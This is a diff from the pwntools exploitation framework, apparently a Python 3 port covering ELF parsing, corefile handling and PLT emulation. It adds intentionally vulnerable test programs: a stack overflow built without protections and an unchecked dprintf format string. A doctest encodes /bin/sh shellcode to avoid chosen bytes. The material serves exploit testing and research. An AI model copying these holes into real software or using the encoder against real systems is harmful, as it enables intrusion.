+#define MEMORY_SIZE 1024
+#define TARGET ((int *) 0x11111110)
+int main(int argc, char const *argv[])
+{
+       char buff[1024];
+       void *ptr = NULL;
+       int *my_var = TARGET;
+       ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
+       if(ptr != MEMORY_ADDRESS)
+       {
+               perror("mmap");
+               return EXIT_FAILURE;
+       }
+       *my_var = 0x41414141;
+       write(1, &my_var, sizeof(int *));
+       scanf("%s", buff);
+       dprintf(2, buff);
+       write(1, my_var, sizeof(int));
+       return 0;
+}

pwnlib/data/elf/ret2dlresolve/Makefile

@@ -0,0 +1,8 @@
+
+all: i386 amd64
+
+i386: vuln.c
+	gcc "$^" -fno-stack-protector -no-pie -m32 -o $@
+
+amd64: vuln.c
+	gcc "$^" -fno-stack-protector -no-pie -o $@

pwnlib/data/elf/ret2dlresolve/__init__.py

@@ -0,0 +1,5 @@
+import os
+path = os.path.dirname(__file__)
+
+def get(x):
+    return os.path.join(path, x)

pwnlib/data/elf/ret2dlresolve/vuln.c

@@ -0,0 +1,8 @@
+#include <unistd.h>
+void vuln(void){
+    char buf[64];
+    read(STDIN_FILENO, buf, 200);
+}
+int main(int argc, char** argv){
+    vuln();
+}

pwnlib/data/syscalls/generate.py

@@ -1,6 +1,7 @@
 #!/usr/bin/env python2
 from __future__ import division
 import argparse
+import keyword
 import os
 
 from pwnlib import constants
@@ -62,7 +63,7 @@ CALL = """
 
     for name, arg in zip(argument_names, argument_values):
         if arg is not None:
-            syscall_repr.append('%s=%r' % (name, arg))
+            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))
 
         # If the argument itself (input) is a register...
         if arg in allregs:
@@ -75,8 +76,8 @@ CALL = """
 
         # The argument is not a register.  It is a string value, and we
         # are expecting a string value
-        elif name in can_pushstr and isinstance(arg, (bytes, six.text_type)):
-            if not isinstance(arg, bytes):
+        elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
+            if isinstance(arg, six.text_type):
                 arg = arg.encode('utf-8')
             string_arguments[name] = arg
 
@@ -144,12 +145,11 @@ def can_be_array(arg):
 
 
 def fix_bad_arg_names(func, arg):
-    if arg.name == 'str':
-        return 'str_'
     if arg.name == 'len':
         return 'length'
-    if arg.name == 'repr':
-        return 'repr_'
+
+    if arg.name in ('str', 'repr') or keyword.iskeyword(arg.name):
+        return arg.name + '_'
 
     if func.name == 'open' and arg.name == 'vararg':
         return 'mode'
@@ -277,8 +277,10 @@ def generate_one(target):
             CALL.format(**template_variables)
         ]
 
-        with open(os.path.join(target, name + '.asm'), 'wt+') as f:
-            f.write('\n'.join(map(str.strip, lines)))
+        if keyword.iskeyword(name):
+            name += '_'
+        with open(os.path.join(target, name + '.asm'), 'wt') as f:
+            f.write('\n'.join(map(str.strip, lines)) + '\n')
 
 if __name__ == '__main__':
     p = argparse.ArgumentParser()

pwnlib/dynelf.py

@@ -75,8 +75,8 @@ def sysv_hash(symbol):
     """
     h = 0
     g = 0
-    for c in symbol:
-        h = (h << 4) + ord(c)
+    for c in bytearray(context._encode(symbol)):
+        h = (h << 4) + c
         g = h & 0xf0000000
         h ^= (g >> 24)
         h &= ~g
@@ -87,9 +87,10 @@ def gnu_hash(s):
 
     Function used to generated GNU-style hashes for strings.
     """
+    s = bytearray(context._encode(s))
     h = 5381
     for c in s:
-        h = h * 33 + ord(c)
+        h = h * 33 + c
     return h & 0xffffffff
 
 class DynELF(object):
@@ -292,7 +293,7 @@ class DynELF(object):
         w = None
 
         while True:
-            if self.leak.compare(ptr, '\x7fELF'):
+            if self.leak.compare(ptr, b'\x7fELF'):
                 break
 
             # See if we can short circuit the search
@@ -641,7 +642,7 @@ class DynELF(object):
             p_name = leak.field(cur, LinkMap.l_name)
             name   = leak.s(p_name)
 
-            if libname in name:
+            if libname.encode('utf-8') in name:
                 break
 
             if name:
@@ -740,6 +741,7 @@ class DynELF(object):
 
                 # Leak the name of the function from the symbol table
                 name = leak.s(strtab + leak.field(sym, Sym.st_name))
+                name = name.decode('utf-8')
 
                 # Make sure it matches the name of the symbol we were looking for.
                 if name == symb:
@@ -823,6 +825,7 @@ class DynELF(object):
                 # Check for collision on hash values
                 sym  = symtab + sizeof(Sym) * (ndx + i)
                 name = leak.s(strtab + leak.field(sym, Sym.st_name))
+                name = name.decode('utf-8')
 
                 if name == symb:
                     # No collision, get offset and calculate address
@@ -854,10 +857,10 @@ class DynELF(object):
 
         for offset in libcdb.get_build_id_offsets():
             address = libbase + offset
-            if self.leak.compare(address + 0xC, "GNU\x00"):
+            if self.leak.compare(address + 0xC, b"GNU\x00"):
                 return enhex(b''.join(self.leak.raw(address + 0x10, 20)))
             else:
-                self.status("Magic did not match")
+                self.status("Build ID not found at offset %#x" % offset)
                 pass
 
     def _make_absolute_ptr(self, ptr_or_offset):

pwnlib/elf/config.py

@@ -21,8 +21,8 @@ class KernelConfig(object):
         self.excludes = set(excludes)
 
         #: Kernel version that this check should be enforced on
-        self.minver = map(int, str(minver).split('.'))
-        self.maxver = map(int, str(maxver).split('.'))
+        self.minver = list(map(int, str(minver).split('.')))
+        self.maxver = list(map(int, str(maxver).split('.')))
 
     def relevant(self, config):
 

pwnlib/elf/corefile.py

@@ -219,8 +219,8 @@ class Mapping(object):
                 stop += self.stop
 
             if not (self.start <= start <= stop <= self.stop):
-                log.error("Byte range [%#x:%#x] not within range [%#x:%#x]" \
-                    % (start, stop, self.start, self.stop))
+                log.error("Byte range [%#x:%#x] not within range [%#x:%#x]",
+                          start, stop, self.start, self.stop)
 
             data = self._core.read(start, stop-start)
 
@@ -381,13 +381,15 @@ class Corefile(ELF):
         This requires GDB to be installed, and can only be done with native
         processes.  Getting a "complete" corefile requires GDB 7.11 or better.
 
-        >>> elf = ELF('/bin/bash')
+        >>> elf = ELF('/bin/bash-static')
         >>> context.clear(binary=elf)
         >>> io = process(elf.path, env={'HELLO': 'WORLD'})
         >>> core = io.corefile
 
         Data can also be extracted directly from the corefile.
 
+        >>> elf.address > 0
+        True
         >>> core.exe[elf.address:elf.address+4]
         b'\x7fELF'
         >>> core.exe.data[:4]
@@ -429,13 +431,13 @@ class Corefile(ELF):
 
         Corefiles can also be pulled from remote machines via SSH!
 
-        >>> s = ssh('travis', 'example.pwnme')
+        >>> s = ssh(user='travis', host='example.pwnme', password='demopass')
         >>> _ = s.set_working_directory()
         >>> elf = ELF.from_assembly(shellcraft.trap())
         >>> path = s.upload(elf.path)
         >>> _ =s.chmod('+x', path)
         >>> io = s.process(path)
-        >>> io.wait()
+        >>> io.wait(1)
         -1
         >>> io.corefile.signal == signal.SIGTRAP # doctest: +SKIP
         True
@@ -445,7 +447,7 @@ class Corefile(ELF):
         >>> context.clear(arch='amd64')
         >>> elf = ELF.from_assembly('push 1234; ret')
         >>> io = elf.process()
-        >>> io.wait()
+        >>> io.wait(1)
         >>> io.corefile.fault_addr
         1234
 
@@ -459,7 +461,7 @@ class Corefile(ELF):
 
         >>> elf = ELF.from_assembly(shellcraft.crash())
         >>> io = elf.process(env={'FOO': 'BAR=BAZ'})
-        >>> io.wait()
+        >>> io.wait(1)
         >>> core = io.corefile
         >>> core.getenv('FOO')
         b'BAR=BAZ'
@@ -480,9 +482,9 @@ class Corefile(ELF):
         ... '''
         >>> elf = ELF.from_assembly(assembly)
         >>> io = elf.process()
-        >>> io.wait()
+        >>> io.wait(2)
         >>> core = io.corefile
-        [!] End of the stack is corrupted, skipping stack parsing (got: 4141414141414141)
+        [!] End of the stack is corrupted, skipping stack parsing (got: 41414141)
         >>> core.argc, core.argv, core.env
         (0, [], {})
         >>> core.stack.data.endswith(b'AAAA')
@@ -549,15 +551,15 @@ class Corefile(ELF):
         self.load_addr = 0
         self._address  = 0
 
-        if not self.elftype == 'CORE':
+        if self.elftype != 'CORE':
             log.error("%s is not a valid corefile" % self.file.name)
 
-        if not self.arch in prstatus_types.keys():
+        if self.arch not in prstatus_types:
             log.warn_once("%s does not use a supported corefile architecture, registers are unavailable" % self.file.name)
 
-        prstatus_type = prstatus_types.get(self.arch, None)
-        prpsinfo_type = prpsinfo_types.get(self.bits, None)
-        siginfo_type = siginfo_types.get(self.bits, None)
+        prstatus_type = prstatus_types.get(self.arch)
+        prpsinfo_type = prpsinfo_types.get(self.bits)
+        siginfo_type = siginfo_types.get(self.bits)
 
         with log.waitfor("Parsing corefile...") as w:
             self._load_mappings()
@@ -667,8 +669,8 @@ class Corefile(ELF):
                 continue
 
             if mapping.start == self.at_sysinfo_ehdr \
-            or (not vdso and mapping.size in [0x1000, 0x2000] \
-                and mapping.flags == 5 \
+            or (not vdso and mapping.size in [0x1000, 0x2000]
+                and mapping.flags == 5
                 and self.read(mapping.start, 4) == b'\x7fELF'):
                 mapping.name = '[vdso]'
                 vdso = True
@@ -747,13 +749,13 @@ class Corefile(ELF):
 
             >>> elf = ELF.from_assembly(shellcraft.trap())
             >>> io = elf.process()
-            >>> io.wait()
+            >>> io.wait(1)
             >>> io.corefile.signal == signal.SIGTRAP
             True
 
             >>> elf = ELF.from_assembly(shellcraft.crash())
             >>> io = elf.process()
-            >>> io.wait()
+            >>> io.wait(1)
             >>> io.corefile.signal == signal.SIGSEGV
             True
         """
@@ -774,7 +776,7 @@ class Corefile(ELF):
 
             >>> elf = ELF.from_assembly('mov eax, 0xdeadbeef; jmp eax', arch='i386')
             >>> io = elf.process()
-            >>> io.wait()
+            >>> io.wait(1)
             >>> io.corefile.fault_addr == io.corefile.eax == 0xdeadbeef
             True
         """
@@ -922,9 +924,9 @@ class Corefile(ELF):
             return
 
         # If the stack does not end with zeroes, something is very wrong.
-        if not stack.data.endswith(b'\x00' * 8):
+        if not stack.data.endswith(b'\x00' * context.bytes):
             log.warn_once("End of the stack is corrupted, skipping stack parsing (got: %s)",
-                          enhex(self.data[-8:]))
+                          enhex(self.data[-context.bytes:]))
             return
 
         # AT_EXECFN is the start of the filename, e.g. '/bin/sh'
@@ -943,16 +945,11 @@ class Corefile(ELF):
 
         # Sanity check!
         try:
-            assert stack[address] == b'\x00'
-        except AssertionError:
-            # Something weird is happening.  Just don't touch it.
-            log.debug("Something is weird")
-            return
+            if stack[address] != b'\x00':
+                log.warning("Error parsing corefile stack: Could not find end of environment")
+                return
         except ValueError:
-            # If the stack is not actually present in the coredump, we can't
-            # read from the stack.  This will fail as:
-            # ValueError: 'seek out of range'
-            log.debug("ValueError")
+            log.warning("Error parsing corefile stack: Address out of bounds")
             return
 
         # address is currently set to the NULL terminator of the last
@@ -966,12 +963,14 @@ class Corefile(ELF):
         p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr)
         if p_last_env_addr < 0:
             # Something weird is happening.  Just don't touch it.
-            log.warn_once("Found bad environment at %#x", last_env_addr)
+            log.warn_once("Error parsing corefile stack: Found bad environment at %#x", last_env_addr)
             return
 
         # Sanity check that we did correctly find the envp NULL terminator.
         envp_nullterm = p_last_env_addr+context.bytes
-        assert self.unpack(envp_nullterm) == 0
+        if self.unpack(envp_nullterm) != 0:
+            log.warning("Error parsing corefile stack: Could not find end of environment variables")
+            return
 
         # We've successfully located the end of the envp[] array.
         #
@@ -1071,7 +1070,7 @@ class Corefile(ELF):
 
             >>> elf = ELF.from_assembly(shellcraft.trap())
             >>> io = elf.process(env={'GREETING': 'Hello!'})
-            >>> io.wait()
+            >>> io.wait(1)
             >>> io.corefile.getenv('GREETING')
             b'Hello!'
         """
@@ -1090,7 +1089,7 @@ class Corefile(ELF):
 
             >>> elf = ELF.from_assembly('mov eax, 0xdeadbeef;' + shellcraft.trap(), arch='i386')
             >>> io = elf.process()
-            >>> io.wait()
+            >>> io.wait(1)
             >>> io.corefile.registers['eax'] == 0xdeadbeef
             True
         """
@@ -1533,4 +1532,3 @@ class CorefileFinder(object):
                 return keys['interpreter']
 
         return ''
-

pwnlib/elf/datatypes.py

@@ -191,7 +191,7 @@ class constants:
     NT_AUXV                 = 6
     #
     # Note to userspace developers: size of NT_SIGINFO note may increase
-    # in the future to accomodate more fields, don't assume it is fixed!
+    # in the future to accommodate more fields, don't assume it is fixed!
     #
     NT_SIGINFO              = 0x53494749
     NT_FILE                 = 0x46494c45

pwnlib/elf/elf.py

@@ -83,12 +83,19 @@ from pwnlib.tubes.process import process
 from pwnlib.util import misc
 from pwnlib.util import packing
 from pwnlib.util.fiddling import unhex
+from pwnlib.util.misc import align, align_down
 from pwnlib.util.sh_string import sh_string
 
 log = getLogger(__name__)
 
 __all__ = ['load', 'ELF']
 
+def _iter_symbols(sec):
+    # Cache result of iter_symbols.
+    if not hasattr(sec, '_symbols'):
+        sec._symbols = list(sec.iter_symbols())
+    return iter(sec._symbols)
+
 class Function(object):
     """Encapsulates information about a function in an :class:`.ELF` binary.
 
@@ -268,6 +275,9 @@ class ELF(ELFFile):
                 self.arch = 'mips64'
                 self.bits = 64
 
+        self._sections = None
+        self._segments = None
+
         #: IntervalTree which maps all of the loaded memory segments
         self.memory = intervaltree.IntervalTree()
         self._populate_memory()
@@ -309,7 +319,7 @@ class ELF(ELFFile):
                 config = gz.read()
 
             if config:
-                self.config = parse_kconfig(config)
+                self.config = parse_kconfig(config.decode())
 
         #: ``True`` if the ELF is a statically linked executable
         self.statically_linked = bool(self.elftype == 'EXEC' and self.load_addr)
@@ -454,9 +464,6 @@ class ELF(ELFFile):
             self.checksec(*a, **kw)
         )
 
-    def __repr__(self):
-        return "ELF(%r)" % self.path
-
     def get_machine_arch(self):
         return {
             'EM_X86_64': 'amd64',
@@ -484,6 +491,13 @@ class ELF(ELFFile):
         """:class:`str`: ELF type (``EXEC``, ``DYN``, etc)"""
         return describe_e_type(self.header.e_type).split()[0]
 
+    def iter_segments(self):
+        # Yield and cache all the segments in the file
+        if self._segments is None:
+            self._segments = [self.get_segment(i) for i in range(self.num_segments())]
+
+        return iter(self._segments)
+
     @property
     def segments(self):
         """
@@ -536,6 +550,13 @@ class ELF(ELFFile):
 
         return None
 
+    def iter_sections(self):
+        # Yield and cache all the sections in the file
+        if self._sections is None:
+            self._sections = [self.get_section(i) for i in range(self.num_sections())]
+
+        return iter(self._sections)
+
     @property
     def sections(self):
         """
@@ -591,6 +612,8 @@ class ELF(ELFFile):
         self.symbols = dotdict({k:update(v) for k,v in self.symbols.items()})
         self.plt     = dotdict({k:update(v) for k,v in self.plt.items()})
         self.got     = dotdict({k:update(v) for k,v in self.got.items()})
+        for f in self.functions.values():
+            f.address += delta
 
         # Update our view of memory
         memory = intervaltree.IntervalTree()
@@ -839,7 +862,7 @@ class ELF(ELFFile):
             if not isinstance(sec, SymbolTableSection):
                 continue
 
-            for sym in sec.iter_symbols():
+            for sym in _iter_symbols(sec):
                 # Avoid duplicates
                 if sym.name in self.functions:
                     continue
@@ -863,7 +886,7 @@ class ELF(ELFFile):
             if not isinstance(section, SymbolTableSection):
                 continue
 
-            for symbol in section.iter_symbols():
+            for symbol in _iter_symbols(section):
                 value = symbol.entry.st_value
                 if not value:
                     continue
@@ -904,7 +927,7 @@ class ELF(ELFFile):
         if self.statically_linked:
             return
 
-        for section in self.iter_sections():
+        for section in self.sections:
             # We are only interested in relocations
             if not isinstance(section, RelocationSection):
                 continue
@@ -958,7 +981,7 @@ class ELF(ELFFile):
 
         # Iterate over the dynamic symbol table
         dynsym = self.get_section_by_name('.dynsym')
-        symbol_iter = dynsym.iter_symbols()
+        symbol_iter = _iter_symbols(dynsym)
 
         # 'gotsym' is the index of the first GOT symbol
         gotsym = self.dynamic_value_by_tag('DT_MIPS_GOTSYM')
@@ -1000,9 +1023,10 @@ class ELF(ELFFile):
         #              In particular, this is where EBX points when it points into the GOT.
         dt_pltgot = self.dynamic_value_by_tag('DT_PLTGOT') or 0
 
-        # There are two PLTs we may need to search
+        # There are three PLTs we may need to search
         plt = self.get_section_by_name('.plt')          # <-- Functions only
         plt_got = self.get_section_by_name('.plt.got')  # <-- Functions used as data
+        plt_sec = self.get_section_by_name('.plt.sec')
         plt_mips = self.get_section_by_name('.MIPS.stubs')
 
         # Invert the GOT symbols we already have, so we can look up by address
@@ -1010,7 +1034,7 @@ class ELF(ELFFile):
         inv_symbols.update({v:k for k,v in self.symbols.items()})
 
         with context.local(arch=self.arch, bits=self.bits, endian=self.endian):
-            for section in (plt, plt_got, plt_mips):
+            for section in (plt, plt_got, plt_sec, plt_mips):
                 if not section:
                     continue
 
@@ -1020,7 +1044,7 @@ class ELF(ELFFile):
                                                 section.data(),
                                                 inv_symbols)
 
-                for address, target in reversed(sorted(res.items())):
+                for address, target in sorted(res.items()):
                     self.plt[inv_symbols[target]] = address
 
         for a,n in sorted({v:k for k,v in self.plt.items()}.items()):
@@ -1031,7 +1055,10 @@ class ELF(ELFFile):
             return
 
         banner = self.string(self.symbols.linux_banner)
-
+        
+        # convert banner into a utf-8 string since re.search does not accept bytes anymore
+        banner = banner.decode('utf-8')
+        
         # 'Linux version 3.18.31-gd0846ecc
         regex = r'Linux version (\S+)'
         match = re.search(regex, banner)
@@ -1046,8 +1073,51 @@ class ELF(ELFFile):
 
         self.config['version'] = self.version
 
-    def search(self, needle, writable = False):
-        """search(needle, writable = False) -> generator
+    @property
+    def libc_start_main_return(self):
+        """
+            Try to find the return address from main into __libc_start_main.
+            The heuristic to find the call to the function pointer of main is
+            to list all calls inside __libc_start_main, find the call to exit
+            after the call to main and select the previous call.
+        """
+        if '__libc_start_main' not in self.functions:
+            return 0
+
+        if 'exit' not in self.symbols:
+            return 0
+
+        # If there's no delay slot, execution continues on the next instruction after a call.
+        call_return_offset = 1
+        if self.arch in ['arm', 'thumb']:
+            call_instructions = set(['blx', 'bl'])
+        elif self.arch == 'aarch64':
+            call_instructions = set(['blr', 'bl'])
+        elif self.arch in ['mips', 'mips64']:
+            call_instructions = set(['bal', 'jalr'])
+            # Account for the delay slot.
+            call_return_offset = 2
+        elif self.arch in ['i386', 'amd64', 'ia64']:
+            call_instructions = set(['call'])
+        else:
+            log.error('Unsupported architecture %s in ELF.libc_start_main_return', self.arch)
+            return 0
+        
+        code = self.disasm(self.symbols['__libc_start_main'], self.functions['__libc_start_main'].size)
+        exit_addr = hex(self.symbols['exit'])
+        lines = code.split('\n')
+        calls = [(index, line) for index, line in enumerate(lines) if set(line.split()) & call_instructions]
+        exit_calls = [index for index, line in enumerate(calls) if exit_addr in line[1]]
+        if len(exit_calls) != 1:
+            return 0
+
+        call_to_main = calls[exit_calls[0] - 1]
+        return_from_main = lines[call_to_main[0] + call_return_offset].lstrip()
+        return_from_main = int(return_from_main[ : return_from_main.index(':') ], 16)
+        return return_from_main
+
+    def search(self, needle, writable = False, executable = False):
+        """search(needle, writable = False, executable = False) -> generator
 
         Search the ELF's virtual address space for the specified string.
 
@@ -1060,6 +1130,7 @@ class ELF(ELFFile):
         Arguments:
             needle(str): String to search for.
             writable(bool): Search only writable sections.
+            executable(bool): Search only executable sections.
 
         Yields:
             An iterator for each virtual address that matches.
@@ -1077,11 +1148,20 @@ class ELF(ELFFile):
 
             >>> len(list(bash.search(b'GNU bash'))) > 0
             True
+
+            It is also possible to search for instructions in executable sections.
+
+            >>> binary = ELF.from_assembly('nop; mov eax, 0; jmp esp; ret')
+            >>> jmp_addr = next(binary.search(asm('jmp esp'), executable = True))
+            >>> binary.read(jmp_addr, 2) == asm('jmp esp')
+            True
         """
         load_address_fixup = (self.address - self.load_addr)
 
         if writable:
             segments = self.writable_segments
+        elif executable:
+            segments = self.executable_segments
         else:
             segments = self.segments
 
@@ -1153,6 +1233,11 @@ class ELF(ELFFile):
             # DT_LOAD segment is **last** to load data into the region.
             self.memory.chop(start, stop_data)
 
+            # Fill the start of the segment's first page
+            page_start = align_down(0x1000, start)
+            if page_start < start and not self.memory[page_start]:
+                self.memory.addi(page_start, start, None)
+
             # Add the new segment
             if start != stop_data:
                 self.memory.addi(start, stop_data, segment)
@@ -1160,15 +1245,22 @@ class ELF(ELFFile):
             if stop_data != stop_mem:
                 self.memory.addi(stop_data, stop_mem, b'\x00')
 
+            page_end = align(0x1000, stop_mem)
+
             # Check for holes which we can fill
             if self._fill_gaps and i+1 < len(load_segments):
                 next_start = load_segments[i+1].header.p_vaddr
-                
-                if stop_mem < next_start and stop_mem>>(self.bits-1) == next_start>>(self.bits-1):
-                    self.memory.addi(stop_mem, next_start, None)
-            else:
-                page_end = (stop_mem + 0xfff) & ~(0xfff)
+                page_next = align_down(0x1000, next_start)
 
+                if stop_mem < next_start:
+                    if page_end < page_next:
+                        if stop_mem < page_end:
+                            self.memory.addi(stop_mem, page_end, None)
+                        if page_next < next_start:
+                            self.memory.addi(page_next, next_start, None)
+                    else:
+                        self.memory.addi(stop_mem, next_start, None)
+            else:
                 if stop_mem < page_end:
                     self.memory.addi(stop_mem, page_end, None)
 
@@ -1600,7 +1692,7 @@ class ELF(ELFFile):
             ``PT_GNU_STACK``
 
             The p_flags member specifies the permissions on the segment
-            containing the stack and is used to indicate wether the stack
+            containing the stack and is used to indicate whether the stack
             should be executable. The absense of this header indicates
             that the stack will be executable.
 
@@ -1764,7 +1856,7 @@ class ELF(ELFFile):
         # Check for Linux configuration, it must contain more than
         # just the version.
         if len(self.config) > 1:
-            config_opts = collections.defaultdict(lambda: [])
+            config_opts = collections.defaultdict(list)
             for checker in kernel_configuration:
                 result, message = checker(self.config)
 
@@ -1871,7 +1963,7 @@ class ELF(ELFFile):
     def unpack(self, address, *a, **kw):
         """Unpacks an integer from the specified ``address``."""
         self._update_args(kw)
-        return packing.unpack(self.read(address, context.bytes), *a, **kw)
+        return packing.unpack(self.read(address, self.bytes), *a, **kw)
 
     def string(self, address):
         """string(address) -> str

pwnlib/elf/plt.py

@@ -36,13 +36,17 @@ def emulate_plt_instructions(elf, got, address, data, targets):
         data = packing.unpack_many(data, bits=32, endian='little')
         data = packing.flat(data, bits=32, endian='big')
 
+    uc, ctx = prepare_unicorn_and_context(elf, got, address, data)
+
     # Brute force addresses, assume that PLT entry points are at 4-byte aligned
     # Do not emulate more than a handful of instructions.
     for i, pc in enumerate(range(address, address + len(data), 4)):
         if log.isEnabledFor(logging.DEBUG):
             log.debug('%s %#x', fiddling.enhex(data[i*4:(i+1) * 4]), pc)
             log.debug(elf.disasm(pc, 4))
-        target = emulate_plt_instructions_inner(elf, got, pc, data[i*4:], targets)
+
+        uc.context_restore(ctx)
+        target = emulate_plt_instructions_inner(uc, elf, got, pc, data[i*4:], targets)
 
         if target in targets:
             log.debug("%#x -> %#x", pc, target)
@@ -50,8 +54,7 @@ def emulate_plt_instructions(elf, got, address, data, targets):
 
     return rv
 
-def emulate_plt_instructions_inner(elf, got, pc, data, targets):
-    # Deferred import to not affect load time
+def prepare_unicorn_and_context(elf, got, address, data):
     import unicorn as U
 
     # Instantiate the emulator with the correct arguments for the current
@@ -88,15 +91,15 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
     uc = U.Uc(arch, mode)
 
     # Map the page of memory, and fill it with the contents
-    start = pc & (~0xfff)
-    stop  = (pc + len(data) + 0xfff) & (~0xfff)
+    start = address & (~0xfff)
+    stop  = (address + len(data) + 0xfff) & (~0xfff)
 
     if not (0 <= start <= stop <= (1 << elf.bits)):
         return None
 
     uc.mem_map(start, stop-start)
-    uc.mem_write(pc, data)
-    assert uc.mem_read(pc, len(data)) == data
+    uc.mem_write(address, data)
+    assert uc.mem_read(address, len(data)) == data
 
     # MIPS is unique in that it relies entirely on _DYNAMIC, at the beginning
     # of the GOT.  Each PLT stub loads an address stored here.
@@ -129,9 +132,17 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
         trap = packing.p32(0x34000000, endian=elf.endian)
         uc.mem_write(magic_addr, trap)
 
+    return uc, uc.context_save()
+
+def emulate_plt_instructions_inner(uc, elf, got, pc, data, targets):
+    import unicorn as U
+
     # Hook invalid addresses and any accesses out of the specified address range
     stopped_addr = []
 
+    # For MIPS. Explanation at prepare_unicorn_and_context.
+    magic_addr = 0xdbdbdbdb
+
     def hook_mem(uc, access, address, size, value, user_data):
         # Special case to allow MIPS to dereference the _DYNAMIC pointer
         # in the GOT.
@@ -142,8 +153,10 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
         uc.emu_stop()
         return False
 
-    uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr)
-    uc.hook_add(U.UC_HOOK_MEM_UNMAPPED, hook_mem, stopped_addr)
+    hooks = [
+        uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr),
+        uc.hook_add(U.UC_HOOK_MEM_UNMAPPED, hook_mem, stopped_addr)
+    ]
 
     # callback for tracing instructions
     # def hook_code(uc, address, size, user_data):
@@ -178,4 +191,7 @@ def emulate_plt_instructions_inner(elf, got, pc, data, targets):
     if stopped_addr:
         retval = stopped_addr.pop()
 
+    for hook in hooks:
+        uc.hook_del(hook)
+
     return retval

pwnlib/encoders/amd64/delta.py

@@ -5,19 +5,20 @@ from pwnlib.encoders.i386.delta import i386DeltaEncoder
 
 
 class amd64DeltaEncoder(i386DeltaEncoder):
-    """
+    r"""
     amd64 encoder built on delta-encoding.
 
     In addition to the loader stub, doubles the size of the shellcode.
 
     >>> context.clear(arch='amd64')
     >>> shellcode = asm(shellcraft.sh())
-    >>> avoid = '/bin/sh\x00'
+    >>> avoid = b'/bin/sh\x00'
     >>> encoded = pwnlib.encoders.amd64.delta.encode(shellcode, avoid)
     >>> assert not any(c in encoded for c in avoid)
     >>> p = run_shellcode(encoded)
     >>> p.sendline(b'echo hello; exit')
     >>> p.recvline()
+    b'hello\n'
     """
     assembly = '''
 base:
@@ -39,8 +40,8 @@ next:
 data:
 '''
     arch      = 'amd64'
-    raw       = 'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
+    raw       = b'H\x8d5\xf9\xff\xff\xffH\x83\xc6\x1a\xfcH\x89\xf7\xac\x93\xac(\xd8\xaa\x80\xeb\xacu\xf5'
     blacklist = set(raw)
 
 encode = amd64DeltaEncoder()
-__all__ = [encode]
+__all__ = ['encode']